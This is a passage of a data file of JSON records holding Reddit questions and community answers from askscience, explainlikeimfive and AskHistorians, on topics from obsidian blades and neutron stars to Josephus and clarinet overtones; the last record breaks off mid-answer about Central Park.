{"q_id": "hkn8s", "title": "Just a few hygiene questions.", "selftext": "We are discouraged from picking our noses (and eating the boogers) as we are transferring germs in the nose to our stomach. However, wouldn't these germs already be able to migrate there due to sniffing/swallowing etc? Is this really a bad thing to do? (I'm not trying to justify my picking, I'm only curious)\n \nAs a man, is washing our hands after urination really necessary? Wouldn't the penis of a disease-free man be possibly the cleanest part of his body? It is routinely washed, doesn't come into contact with dirt, only really comes into contact with clean underwear. Wouldn't we get more germs from taps and hand dryers than we get from our penis?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/hkn8s/just_a_few_hygiene_questions/", "answers": {"a_id": ["c1w4qfp", "c1w551p", "c1w5ypl"], "score": [3, 2, 2], "text": ["I think your stomach can handle a lot more germs than your nose can offer. Not eating the boogers is - you're correct - a societal thing, which may or may not be dependent on actual hygiene.\n\nWe swallow stuff from our nose all the time - like in the case of [post nasal drip](_URL_0_), and that sometimes happen _because_ we're sick.\n\nIn the absence of disease, urine should be pretty darn clean, but I don't think it's sterile (since it does come in contact with the urethra, etc.). I wouldn't expect it to be \"dirtier\" than shower water...", "Re: Nose picking:\n\nIt's an innoculation. \n\nSticking your finger in your nose is a horrible idea. There is a certain amount of stuff that is airborne and you will inhale. There is another (much larger) population of stuff that is not airborne; it sits on surfaces, swims around in films of water, etc. You touch these all day long without knowing, and these bugs live on your skin and under your nails. Pick your nose, and you just gave them another surface to attach to.\n\n > As a man, is washing our hands after urination really necessary?\n Wouldn't the penis of a disease-free man be possibly the cleanest part of his body?\n\nOh good god, no. It's moist (balls sweat) and warm (obviously) and when you wash it, you aren't exactly sterilizing it, you're just getting off *most* of the bacteria. \n\nWashing your hands is a good idea, regardless. \n\n\n", "When I see every child ever born digging boogers out of their nose (because they don't know better) - it screams \"societal\" to me, and that nose-picking is just a natural behavior in human beings."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Post_nasal_drip"], [], []]}
{"q_id": "v2ytn", "title": "Why don't solids like Voyager 1 sublimate in near vacuums like space?", "selftext": "From my understanding of phase diagrams, at least some external pressure is necessary for solids to remain solid. Is that correct? If a solid was placed in a perfect vacuum, would it sublimate?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/v2ytn/why_dont_solids_like_voyager_1_sublimate_in_near/", "answers": {"a_id": ["c50vyq5", "c50w5ae", "c50wlpx"], "score": [17, 2, 38], "text": ["An excellent question. The determination of whether or not a material is solid, liquid, or gas depends on three factors: the bond strength of the atoms (whether it be molecular, covalent, ionic, etc), the energy of the atoms moving around (heat) and the external forces (stray atoms around the material in question) keeping the atoms in place (pressure). If the energy of the atoms outweigh the bond strength, but there's enough pressure, you'll get a solid or liquid. If there's enough bond strength, and not enough energy, it doesn't matter how little force is pressing down on the material, it will never become a liquid or gas for that matter.\n\nStructural metals such as steel and aluminum have quite strong bonds as opposed to say, water molecules. While water will evaporate (and indeed sublimate) at 0 Pa, regardless of the temperature, the bonds of metals are usually strong enough to hold in the vacuum of space. Especially because space has a temperature of around 2K (with no sun). \n\nThe moon (no atmosphere, with direct sun rays) apparently can get up to 385K, but that's nowhere near the 1000K (link: _URL_1_ ) that you would need to get aluminum to a *liquid*, let alone sublimate. By the way, if aluminum needs 1000K, steel is way above that. I don't know exactly what Voyager 1's structure is made of, unfortunately.\n\nIf we decided to send a satellite headlong into the sun, the structure would most likely melt and then become gaseous. If you had a chunk of coal, it would [sublimate](_URL_0_), as would a chunk of ice.", "I found this [link](_URL_0_) which is a study of vapourisation pressures for some metals. The pressures are in the order of 10^-8 torr at 2100K. Considering how cold outer space is, sublimation looks out of the question.", "They do!\n\nBut keep in mind that even if a solid is sublimating trillions of atoms per second that's still only maybe 5 milligrams per century. But in actuality the vapor pressure of solid metals is extremely low at the typical temperatures of interplanetary spacecraft."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.mathewpeet.org/images/carbon_phase_diagram.jpg", "http://commons.wikimedia.org/wiki/File:Phase_diagram_of_aluminum_(1975).png"], ["https://docs.google.com/viewer?a=v&amp;q=cache:n8lm2AxO6pYJ:www.platinummetalsreview.com/pdf/pmr-v8-i4-134-140.pdf+vapour+pressure+metals&amp;hl=en&amp;gl=in&amp;pid=bl&amp;srcid=ADGEESgJvQPTVnNhqmRr6IBjM_9josYqYmGXvQ5w4iYjdUiuFHtm2tZooV5dlfDSaGNiHhGfaEkGD4IDihVyJ2GJH6ATvwoUsfiGQVt3YTvlJpLpdvXiE7-OSuKto8DaoQHXpNa3pyB0&amp;sig=AHIEtbQyMIJMbhGW-b011qyRnyPlYz13BA"], []]}
{"q_id": "6g51bz", "title": "why is private education in england called \"public school\"?", "selftext": "It's confusing.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6g51bz/eli5_why_is_private_education_in_england_called/", "answers": {"a_id": ["dinjomj", "dinuyln"], "score": [18, 5], "text": ["A small number of older private schools are known as \"public schools\". When they were founded, the name made more sense because it indicated that they were open to the general public rather than being tied to membership of a particular church or other organisation.\n\nOther private schools tend to refer to themselves as \"independent schools\", emphasising their independence from the government, but \"private school\" is also used. Government-funded schools are known as \"state schools\".", "Back in the day, gentlemen typically had tutors educating them at home. That was a private education. So if you sent your son to a school that wasn't at home that was a public school as it was not an at-home, private school."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3dsg18", "title": "Did the Christian yemenite king 'Abraha (6th century) ever attack the byzantines?", "selftext": "I know he didn't, I just want someone professional to tell me how ridiculous this is (ie. what evidence would we have found if he did).\n\nThis is with regards to a certain early islamic revisionist theory that places mecca and the Quraysh in palestine. Abraha's attack on mecca is attested to in genuine pre-islamic sources and seems quite plausible with the discovery of recent Sabean inscriptions. If the revisionist theory is correct, then Abraha must have lead an attack on palestine which is in the byzantine empire.\n\nI already find this implausible due to Abraha being an ally of the byzantines at one point. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3dsg18/did_the_christian_yemenite_king_abraha_6th/", "answers": {"a_id": ["ct87dz1"], "score": [5], "text": ["Whilst this is an ingenious attempt at harmonising various conflicting historical traditions, this is not exactly a fool-proof way to disproof the 'revisionist' version of early Islamic history. Abraha certainly attempted to dominate all of Arabia, but his attack on Mecca is not reflected in the epigraphical record. His attack was on central Arabia into the territory of the Ma\u2018add tribal confederacy and was perhaps an attempt to defeat the Lakhmid Arabs, who were allies of the Persian Empire (since the Romans had tried to get Abraha to join in their war-effort against Persia). Abraha may well have struck at Mecca as well, since another attack was recorded along the western coast of Arabia and it is possible that the Persians had some interest in the western Hijaz, but this cannot be directly linked to the Mecca of the seventh century. Whilst I'm not convinced that the 'real' Mecca was placed in northern Arabia or in Palestine, Abraha's attempt to achieve hegemony over Arabia did not exclude the possibility that Muhammad began his career elsewhere from the Mecca we all know about, since we have no direct evidence that Abraha actually invaded Mecca, nor for the fact that Muhammad was definitively from Mecca."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "58ejt3", "title": "what property of obsidian knives causes them to cut on a cellular level?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/58ejt3/eli5_what_property_of_obsidian_knives_causes_them/", "answers": {"a_id": ["d8zsgyn", "d8zt4m7", "d8ztvug", "d8zu76s", "d8zxduk", "d8zyndk", "d8zz2wh", "d8zz855", "d8zzagb", "d9007vm", "d900ku5", "d900vmv", "d90121b", "d901jfm", "d9023kw", "d9028zd", "d902i5v", "d902ryl", "d902v30", "d902w44", "d903047", "d9035fx", "d903p7z", "d903wpl", "d904f4z", "d9067yj", "d906dgt", "d906vmw", "d907yhs", "d908ygj", "d90afgw", "d90bvfg", "d90c4dy", "d90eiyv", "d90eves", "d90g25j", "d90qakt"], "score": [674, 23, 385, 15, 479, 65, 6, 50, 17, 23, 2846, 4, 503, 4, 18, 3, 2, 2, 21, 3, 13, 2, 3, 6, 19, 2, 6, 2, 11, 3, 12, 2, 3, 2, 2901, 156, 2], "text": ["The edge is far, far, far thinner than that of a forged steel scalpel. \n\nIt's an incredibly hard, glassy substance, so it can be carefully broken to display a sharp edge (as I said, thinner than any manmade metal object) and strong enough to be used as a blade.", "Doesn't steel have a flat cube-like lattice so it \"rips\" things apart and glass has a jagged lattice so it \"cuts\" into and through things?", "From [this](_URL_0_) article:\nObsidian -- a type of volcanic glass -- can produce cutting edges many times finer than even the best steel scalpels.\nAt 30 angstroms -- a unit of measurement equal to one hundred millionth of a centimeter -- an obsidian scalpel can rival diamond in the fineness of its edge.\nWhen you consider that most household razor blades are 300 to 600 angstroms, obsidian can still cut it with the sharpest materials nanotechnology can produce.", "It naturally breaks to a 300 nanometre blade.  Razorblades are ten to twenty times as wide.", "Follow up question: Would it be possible to make a razor using obsidian blades that would actually work, or would it be too sharp and just end up cutting you?", "I seem to remember reading somewhere that the reason they aren't more widespread is that they are very brittle and can break off shards rather easily. Which would be bad in situations that cutting on a cellular level would be useful, i.e. surgery. ", "I've played with a lot of large chunks of raw obsidian. I quickly figured out it's just not that great at cutting in a ***useful*** way if that makes any sense. It's more like cutting with a million little 'rock splinters' or something.", "Just in case this wasn't clear from other comments. Obsidian has a chemical structure much like glass and it happens to shatter in a way that can produce the edges thin enough. Your answer would be a geometric analysis of why atoms in the molecules of obsidian happen to break apart along such an acute angle. ", "If you do any hiking around Mono Lake in California, Obsidian is everywhere. There's a place around there where there are literal boulders of it.", "Picture a hacksaw.  Now picture a chef knife.  \n\nMetal blades look like hacksaws under a microscope.  Obsidian blades look like chef knives.", "A lot of good comments but I'd like to add a bit more science if possible ( I know it's ELI5 but I like the subject so have this).\n\nObsidian can achieve a thinner edge because of its ionic bonds and amorphous structure. Not only are these bonds very rigid, but they are very stable and require but a few atoms, but they will not easily allow the reactions to change the atomic structure.\n\nMetal on the other hand is held together by metallic bonds (i know it sounds silly but it basically means metal atoms share electrons to be somewhat stable so there needs to be a lot of the them together) and has a crystalline lattice. So even if a metal were to be sharpened to be as thin as an obsidian edge, it would not be stable or it would corrode almost instantly (high surface energy is unfavorable).\n\nTldr: obsidian can \"easily\" have a few bonded atoms, metals cannot.", "Everything cuts at a cellular level really.\n\nFlake knives and stuff like them trade off strength for really, really thin edges. Your scissors are plenty sharp even made out of steel but if you want something super, super sharp you need to use something more fragile. Glass is sharp! Ceramics (like pottery stuff) turns out to also be really, really sharp. Rocks are weirdly also sharp when they break just right.\n\nObsidian is a glass mostly. It's kinda a rock too I guess. Anyhow, it's really, really sharp if you break it just right but it breaks really easily no matter what. So, you can make a cool knife or wicked arrowheads or whatever but it sucks for making sharp stuff you want to use for a long time.\n\nBesides, steel makes stuff that's pretty sharp already! Not *as* sharp but 'cellular level' is kinda silly anyhow.", "Obsidian is a type of glass which has no crystal structure as opposed to iron which has a crystal structure. A glass is a material that doesn't have an order to it. Pure iron's structure at room temperature is a variation of a cube. This cube is repeated, like minecraft blocks, for \"infinity\" whereas glass might have a cube but they're angled and positioned every which way, and sometimes not even cube shaped. \n\nNow imagine a knife made of minecraft blocks. Or just the minecraft sword where you can see the jagged edge because the cubes have to remain cubes and fit almost perfectly with each other. This is like iron where the edge is relatively rough even though it looks smooth to the naked eye. Because glass doesn't have a structure, its \"cubes\" can stretch and align themselves however they want, which would look like how smooth a fine-blade knife would on the microscale. ", "Okay since no explain like I'm fives is available.\n\nTake a group of kids.  You can try to push them together to make a pyramid but a regular group of kids are kids, and will easily pull themselves apart due to their own high energy.   Those kids are like regular blades, they can't get too thin without breaking apart because they need a large grouping of other kids around them to keep them contained.\n\nTake another group of kids, but these kids are slow, and super sticky.   These kids can be smacked together with less density, and stay together because of their slow stickiness.   Allowing for smaller groups of kids to stay where they are placed.\n\n\nThis is an ELI5 after reading the top two comments.  And half of it won't properly apply to the actual science because (I don't know what high surface energy is yet).   \n\nEssentially, one is easy to group together in smaller parts, while the other is harder. ", "What about the small slivers that come off while cutting (meat)? Would the small microscopic pieces cause havoc on a cellular level in your stomach and intestines?", "If obsidian has a similar crystalline structure as glass, it is two dimensional, basically flat layers stacked on top of one another.\n\nAs the layers are removed by knapping (basically whacking the edge with a practiced eye and hand), the edge that remains is well aligned, and therefore strong for its thickness.\n", "When did this sub become anecdotal stories and non explanations? ", "Where can I buy one and what would I even do with it?", "What kind of facial hair are you working with that requires an obsidian razor?", "A follow-up question is Can obsidian knives cut diamond?", "So this is the reason it kills white walkers?! \n", "Would an obsidian sword be extremely good at cutting people in half? ", "I have a bucket of [apache tears](_URL_0_) my grandpa collected over his lifetime in AZ. Should I knap a bunch of teeny knives?\n\nEDIT: corrected autocorrect.", "Can anyone answer me this: Are obsidian knives a good idea in the kitchen or when working with food? Would be nice having a very sharp blade when working with meat and what not...", "r/knapping\n\nMy teacher's teacher is a guy named Greg Nunn. Museums from around the world pay him to study and/or replicate blades/points using the appropriate technologies and materials. Local hospital pays him to make surgical knives out of obsidian. Dude uses rock and antlers to knap these blades. \n\nFriend of mine needed surgery to fix a broken bone when she was little. Surgeon used a steel knife. Scar is very noticeable. Had to go back in later to fix something, asked Greg to make the knife... Scar is negligible in comparison.\n\nShit is sharp. I've put whole flakes into the top of my leg knapping that have easily been 1/2\" deep and not realized it until I saw the blood soaking through my pants. No pain. ", "Who are the most reputable makers for obsidian knives?  I know knives can get crazy for custom work, into the thousands.  I would probably be cool with spending around 100 if anyone makes one that 'cheap'.", "Rocks formed of amorphous or cryptocrystalline material often exhibit conchoidal fracture.  [It looks like this](_URL_0_).\n\nBecause there is no regular molecular order, there is no regular fracture plane.  Surfaces are irregular.  It is very simply that the range of possible edges which can form naturally may exceed the fineness which can be produced in metals artificially.  The difficulty of metals is that they comprise metal bonds, as well as exhibit ductility or easy energy transfer.  Those are the properties  that make them easy to work with.  The covalent bonds of silicates rocks give them much greater hardness usually, and less electron transfer according to models.  ", "Aren't most incisions made with an electric scalpel now? Did I miss something?", "Wait...there's science to Dragonglass?", "Are obsidian knifes not good for food prep then? Googling them shows none that look food usable.", "I was in my Archaeology 101 class. We were learning how to create arrowheads by striking obsidian with a rock. It was neat watching the way obsidian cleaved.\n\nAnyway, we were warned about how sharp obsidian edges could be. After striking a few times I stopped and looked up to pay attention to the TA. When I looked down my hand was dripping blood.\n\nNo pain, and I'm not sure I ever found the actual cut. It was that clean and thin.", "Followup: What does it mean to \"cut on a cellular level\"? What happens to cells when they're cut with each type of blade?", "Lots of great discussion here about amorphous vs. crystalline material. Which just leaves me wondering \"why *this particular* amorphous material?\" Why obsidian instead of some kind of man-made glass or fused quartz or Liquidmetal or whatnot?", "Addon question: If obsidian scalpels are so much better than steel ones, why are they not the norm in hospitals?", "It all boils down to obsidian's atomic bonding energy verses that of metal and how these values compare to the materials' free surface energies. \n\nThink of it this way:\n\nThere's a really strong wind storm and two, separate groups of people are caught outside: a group of children and a group of powerlifters. In each group, everyone is holding onto each as to not get blown away. Obviously, the people on the outside of the groups are the most vulnerable because less people are around them and able to hold onto them. \n\nThe powerlifters are like the atoms within obsidian - strongly holding onto each other and unwilling to bend. In order to not be blown away, those on the outer perimeter only need the help of one other person. The grip strength of these guys is so strong that their group can form an arrow with only one person positioned at the point, holding onto just one other guy. \n\nOn the other hand, the children are like metal atoms. The children on the outer perimeter of their group need to be held onto by at least three other kids in order to avoid being blown away because their grip strength is much weaker than that of the powerlifters'. So, if this group tries to form an arrow, the arrow's tip will have to be composed of several children (instead of one) - effectively blunting the tip. \n\nThe second thing to consider is the flexibility of these groups. The powerlifters are all about gainz and rarely stretch. Therefore, if an unusually strong gust of wind hits the group of lifters, their arms will only be able to stretch a small amount before the lifters just let go. This is comparable to how obsidian breaks; it cleaves and forms sharp edges. \n\nConversely, the kids are very flexible. When that strong gust of wind hits them, they're able to stretch and bend a lot, instead of completely letting go. Rather than breaking cleanly, their group will deform in order to accommodate the strong force. \n\nHope this helps and at least one person sees it!\n\n**Edit:** I appreciate the gold! I'm glad that everyone was able to enjoy this. It was a lot of fun to think about!", "ELI5 Why it isn't used in surgery?", "Obsidian Knives? Better wear your Berserker necklace for maximum efficiency."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.cnn.com/2015/04/02/health/surgery-scalpels-obsidian/index.html"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://en.m.wikipedia.org/wiki/Apache_tears"], [], [], [], ["http://www.minerals.net/mineral_glossary/conchoidal.aspx"], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "9bv3cs", "title": "Primary Sources for \u201cFrench Nationalism under Napoleon.\u201d", "selftext": "I\u2019m writing an essay of French nationalism under napoleons rule and I have to have a primary source but I have no idea where to find anything like that. Any suggestions?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9bv3cs/primary_sources_for_french_nationalism_under/", "answers": {"a_id": ["e563iyc"], "score": [2], "text": ["The best way to find primary sources is to find secondary sources that discuss your topic, and look in their footnotes/endnotes for who THEY cite. For example, I've got Andrew Roberts' \"Napoleon: A Life\" on my shelf. There's no entry in the book's index for \"nationalism\" (and searching inside it in Google most uses of the term are discussing Napoleon's early *Corsican* nationalism or burgeoning nationalist movements in countries France occupied in this time) so I'll pick a different topic: art in the Napoleonic era. Let's say I want to find some primary sources on that. So I look in the index under \"art\" and find a reference, on pages 543-5, to \"arts, N's patronage of.\" Skimming that section turns up a number of quotes, and endnotes numbered 84 to 93. Those endnotes list a number of sources; most of *them* happen to be secondary, too, but a book like *Empire Style* and *Napoleon and His Artists* likely have a lot of direct sources. One of those books might quote someone in a letter or a memoire; you can then search to see if the full text of that letter or memoire is available online or in a library. \n\nAnother option is to find an oral history-style book that is a collection of eyewitness accounts. For example, Paul Britten Austin wrote a three-volume history of the 1812 invasion of Russia and a book on Napoleon's march from Elba to Paris at the beginning of the Hundred Days; both are brimming with quotes from letters and memoirs that you can then mine as primary sources. Austin's 1815 book is part of a series called \"[The Napoleonic Library](_URL_0_),\" which is also largely eyewitness accounts. You might find useful books in it such as *From Corunna to Waterloo: The Letters and Journals of Two Napoleonic Hussars, 1801-1816*, or *The Note-Books of Captain Coignet: Soldier of the Empire 1799\u20131816* or *Memoirs of a French Napoleonic Officer: Jean-Baptiste Barres, Chasseur of the Imperial Guard.*\n\nIn summary: start with the sources you have. See who they cite. If you keep going up the chain you'll eventually reach people citing primary sources. (If not, the sources you have aren't very reliable.) Look for published versions (especially in translation, if you're covering people who spoke a different language than you) of contemporary memoirs. The same author or publishing company that publishes one such memoir or letter collection is likely to have published others, too. Any source you do find, even if it's not quite what you're looking for, can lead you to another source."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.frontline-books.com/napoleoniclibrary"]]}
{"q_id": "awawvb", "title": "Why does a neutron star spin faster when it is part of a binary system?", "selftext": "I was reading an article that can be found here [_URL_0_](_URL_0_) about neutron stars and it mentions in the fourth paragraph that neutron stars typically rotate up to 60 times per second. However, if they are a part of binary star system, they can rotate up to 600 times per second. I just wondered why this is this case? If I had to guess, I would guess it has a lot to do with gravity, but I am unsure of what specifically it has to do with gravity.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/awawvb/why_does_a_neutron_star_spin_faster_when_it_is/", "answers": {"a_id": ["ehlcjce"], "score": [10], "text": ["There are a couple of steps missing in there from \"in a binary\" to \"fast rotation\". Most neutron stars/pulsars are \"born\" with a spin period much faster than a second; the Crab has a 33 ms period and we know it was born in 1054 AD. Since they are emitting radiation in the form of a beam, they lose energy, and as they do so they start slowing down. Eventually they start reaching spin periods well over a second, and then maybe even into the 10s of seconds. Somewhere in there, they are moving too slowly for the radiation beam to be seen and they turn \"off\".\n\nIf the pulsar is in a binary, then as the companion star starts to enter its end of life phase and begins to increase in size, the outer layers of that star will get accreted (pulled) onto the neutron star. There will be a transfer of angular momentum which causes the neutron star to spin up. Eventually what you're left with is a white dwarf companion, what is left of the core of that devoured star, and a very rapidly spinning \"millisecond pulsar\". The term millisecond pulsar is a little confusing because in some sense, by spin period definitions, the Crab is a millisecond pulsar. But we instead usually refer to a millisecond pulsar as being \"recycled\". That is, it accretes material/angular momentum, spins back up, and turns back \"on\" so that it shines again as a pulsar, and thus is recycled. There are a number of millisecond pulsars known with spin period just above 1 ms, and so far none have been found below."]}, "title_urls": [], "selftext_urls": ["http://astronomy.swin.edu.au/cosmos/n/neutron+star"], "answers_urls": [[]]}
{"q_id": "3otfmf", "title": "Is there a known reason why there are no multicellular prokaryotes? Could there be?", "selftext": "I guess I'm confused about the transition from single-cellular to multi-cellular. Is there any reason that a nucleus is absolutely necessary for that? Thanks in advance.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3otfmf/is_there_a_known_reason_why_there_are_no/", "answers": {"a_id": ["cw0ekjj", "cw0l1vi"], "score": [19, 7], "text": ["Well, depending on how you define \"multicellular\", there might be some prokaryotes that actually do qualify:\n\n_URL_0_\n\nBut we do have far more multicellular eukaryotes. The nucleus allows much higher degree of regulation of gene expression, which allows for greater cellular specialization, a critical feature of multicellularity.", "There actually are some \"multi-cellular\" prokaryotes, depending on how you define multi-cellularity. You might want to read up on filamentous prokaryotes. This is essentially when bacteria don't completely separate when they multiply, and thus end up producing long branching strings of bacteria. The structures end up resembling what is commonly seen in fungi, and these bacteria may even share nutrients to some degree.\n\nAlso, I'm not sure how much you know about biofilm formation? The most common existence for bacteria is not as singular free-floating cells, but rather in big communities tied together by \"slime\". While I wouldn't consider cells in a biofilm to really be a \"multi-cellular organism\", it's certainly a cooperative behavior."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://blogs.scientificamerican.com/lab-rat/bacteria-with-bodies-multicellular-prokaryotes/"], []]}
{"q_id": "3zy5yw", "title": "how do dj's know where to put the needle on the record when they're scratching. also, how do they know where to start and stop scratching and go to the next part of the song?", "selftext": "Edit: What I mean by start and stop is where, as far as the back and forth motion when they scratch. How do they measure how long to make the \"scratches\"?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3zy5yw/eli5_how_do_djs_know_where_to_put_the_needle_on/", "answers": {"a_id": ["cypyzn5", "cypz69d", "cyq1zcm", "cyq533x", "cyq5vw8"], "score": [4, 31, 2, 3, 2], "text": ["The headphones they are wearing allow them to listen to one of the records on the turntable without the audience hearing. They probably remember generally where the sound sample they want is located on the record, but then fine tune by listening. They can then move a switch to bring the sound from that record onto the main speakers. A lot of the stuff they do that is impressive just comes with experience and practice.", "They don't, or at least not exactly. From experience they know the approximate location (say, for example, an inch or so from the edge). But they don't know the exact spot on the circle.\n\nWhen you see DJs they always have headphones. Often you'll see them with the headphone over 1 ear and the other uncovered. That is because they are playing 1 record only into their headphones, while another record plays for the audience. They are finding the exact right spot on the headphone record. When they find it, they can hold it at that spot and when the right moment comes they transfer the audio to the speakers that the audience can hear. \n\nThat is why you always see DJ tables with 2 record players, and a slider in between that chooses which audio goes out to the audience. \n\nAs far as starting and stopping, I'm not sure I understand. Like any instrument, they start and stop according to the beat and how they've practiced the song in the past. ", "Old school scratch DJ's would just wait for a part of the song that sounds good, and just... scratch it. When they started to get into routines that required them to be precise to where the sound is on the record they'd put tape down that would guide the needle onto the exact spot on the record that had the sound they wanted to use to scratch. They also used a piece of tape that would give them a visual of how far the record revolved so they knew how many rotations it went if they had to bring it back to a certain spot. While this routine by Craze is poor quality, you can see the tape on the record to see what In talking about.\n\n_URL_0_\n", "The old hiphop djs who would scratch, and create loops manually with 2 turntables and 2 copies of the record, had a few tricks they could use to find the small section of the record they wanted to use.\n\n1- To use the mixer to listen to the track, without it playing through the speakers- also used to 'beat match' (synchronise the beats of the song playing now and the song being cued up), often with the headphones on one ear, to hear both songs.\n\n2- Before time, ,mark out the section of the record you want to use with little bits of tape.\n\n3- Often, the section of the record to be scratched or loop is a drum break, or some part of the track that sounds very different to the rest of the record. Often a skilled dj can visually spot a drum solo on the surface of the vinyl, because the pattern of grooves of a drum (or other) solo looks different to the rest of the song. Some can even pick up a record they've never heard, and tell if it has drum breaks on it by inspecting the vinyl surface (handy for record shopping).\n\n4- practice makes perfect- if you've scratched or looped the same section of an LP thousands of times, it starts to become second nature; things like timing, visually spotting the break, and raw, superhuman, dj jedi skills (or dumb luck and confidence) just come together instinctively, in really good djs.", "Some DJs put stickers on the vinyl to tell them where the needle needs to be. \n\nSee this video: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.youtube.com/watch?v=_CyKq_HzXLw"], [], ["https://www.youtube.com/watch?v=fqrGf8jJlaA"]]}
{"q_id": "1e6q69", "title": "Who was Josephus, what does he mean to Christian history and what does he mean to early AD history, if anything at all?", "selftext": "I understand that he wrote about early Christianity, but as far as his role and impact in the big scheme of  things, I'm a little in the dark. I've only ever heard of him in the context of church and Christian teaching so I suppose I'd like to right any unfounded biases I might be ignorant of. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1e6q69/who_was_josephus_what_does_he_mean_to_christian/", "answers": {"a_id": ["c9xdmoc"], "score": [5], "text": ["Josephus was a first century Jewish Historian and apart from his writings on early Christianity, which was really just a couple passing mentions. His main scholarly work was on the Jewish Revolt in the late 60s and the number of messianic movements that surrounded it. He was commander of the galilean forces during the revolt but was captured and put to work as a translator for the future emperor Flavius. He eventually earned his freedom and began writing about Jewish History.\n\nHis importance comes mainly from his uniqueness. He is one of only seven secular sources to mention to mention Jesus of Nazareth. His work was some of the only histories of the Jews not written in Hebrew or Aramaic and before the discovery of the dead sea scrolls his writings were some of the only Jewish Literature from the time period.\n\nIt should also be noted that his work was likely edited by the Christian Church during the Middle Ages. These alterations were most likely only to the mentions of Jesus and Christianity to make Josephus seem more sympathetic to the Church."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "26jfvk", "title": "how do we know that animals, other than humans, can get high off of naturally occurring substances?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/26jfvk/eli5_how_do_we_know_that_animals_other_than/", "answers": {"a_id": ["chrlmcy", "chrlsxy", "chrlvfg", "chrnpun"], "score": [2, 3, 3, 5], "text": ["Testing reaction rates, responses to stimuli, etc.. Probably.", "Clearly you have never seen a cat drooling and rolling around in catnip with dilated eyes. It isn't really subtle.", "Drunk bear. Because watching it tip over is good evidence.\n\n_URL_1_\n\nAlso: high lemurs... And tipsy monkeys...\n_URL_0_", "There are tons of examples of animals using natural substances either as pharmaceuticals or to get high/drunk. Youtube has plenty of videos documenting animals that got drunk by natural means. For example [this squirrel got into a fermented pumpkin patch](_URL_3_), but these monkeys in the [Caribbean have taken to drinking from tourists left over drinks on the beach](_URL_1_).\n\nAs I mentioned, animals also engage in [zoopharmacognosy](_URL_0_). They may use plants, animals or other substances to aid or prevent illness or disease. For example, many animals including many human cultures engage in [geophagy](_URL_2_), the act of eating soil is thought to be medicinal. Soil high in clay is able to help in the digestion of foods that are high in toxins like alkaloids. They may also do this to gain access to micronutrients that are otherwise unavailable in their diet.\n\nAnother great example is when capuchin monkeys gather together and rub the piper plant all over their bodies quite vigourously. They may rub this plant for over half an hour. Researchers have surmised that the reason is to prevent mosquito/insect bites and this behaviour is more common during the raining insect season than the dry season."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://m.youtube.com/watch?v=HN46PjBbns0", "http://m.youtube.com/watch?v=v8Fqin1VigU"], ["http://en.wikipedia.org/wiki/Zoopharmacognosy", "http://youtu.be/pmnzIhbX2bg", "http://en.wikipedia.org/wiki/Geophagy", "http://youtu.be/0so5er4X3dc"]]}
{"q_id": "496509", "title": "why does a saxophone overblow (squeak) at a different interval than a clarinet?", "selftext": "When you squeak on a saxophone, or press the octave key, the note that comes out is an octave (2x the frequency) above the lower note with the same fingering. \n\nHowever, a clarinet, which seems to operate in the same way, will jump a twelfth (3x the frequency). What causes this discrepancy?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/496509/eli5_why_does_a_saxophone_overblow_squeak_at_a/", "answers": {"a_id": ["d0per1f"], "score": [4], "text": ["Saxophones, Oboes, and Brass instruments function like a conical pipe that is closed at one end. This shape allows them to resonate at every frequency in the harmonic series. From the fundamental, to the first overtone at the octave, the 2nd at the 12th, the third at 2 octaves, the 4th at 2 octave + a major 3rd.\n\nClarinets are unique in that they function as a cylinder closed at one end. Unlike most other instruments Clarinets do not have a conical bore. This causes them to only resonate every other overtone. The first overtone available is the 2nd one at the 12th. You cannot overblow an octave on a Clarinet, because the physics won't allow it.\n\nThe physics that causes the Clarinet to skip every other overtone is far more complex than is appropriate for ELI5. But the fact that it does, it what makes the instrument overblow the 12th instead of the octave."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "56vpcs", "title": "how did central park - a large, highly valuable piece of land in an over developed city like ny come to exist", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/56vpcs/eli5how_did_central_park_a_large_highly_valuable/", "answers": {"a_id": ["d8mseba", "d8mtmij", "d8mvgk7", "d8myyge"], "score": [14, 2, 6, 2], "text": ["The land is owned by the city and they prevented developers from getting access to it. It does not matter how much developers protest, the land is not available to them. ", "In addition to the other answer, remember it's in the developers of current park side property to maintain that quo and not develop it, it would ruin their values. So, yes it could go to some developer, but the political and economic clout of all the developers and owners surrounding the park would far outweigh them. \n\nThat's on top of the public and civic support for the park that would outweigh any one developer", "It wasn't created at a time when Manhattan was overdeveloped.  There was certainly a boom, but it was relatively small compared to other places.  People at the time also weren't about to protest the destruction of what they thought were shanty towns that housed free Black people (Seneca 